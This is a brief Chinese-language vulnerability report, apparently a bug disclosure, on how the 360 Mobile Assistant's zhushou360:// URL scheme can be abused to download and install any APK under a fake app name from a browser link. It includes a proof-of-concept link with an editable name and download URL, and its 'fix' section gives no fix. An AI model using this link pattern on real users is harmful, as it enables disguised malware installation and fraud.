360手机助手任意应用下载欺诈安装下载

360手机助手任意应用下载安装 通过360手机安装apk未验证apk的安全性和来源 任意设置应用名和下载链接 看下面链接

只有安装了360软件 任意浏览器打开下面链接即可



zhushou360://type=apk&name=360安全助手&url=http://127.0.0.1/1.apk



name 和url 可以任意修改



软件来源而且是 360应用市场

修复方法：
360的黑客大牛多得很，我一个朋友就在核心部门，不透露名字了，抓紧时间修复漏洞吧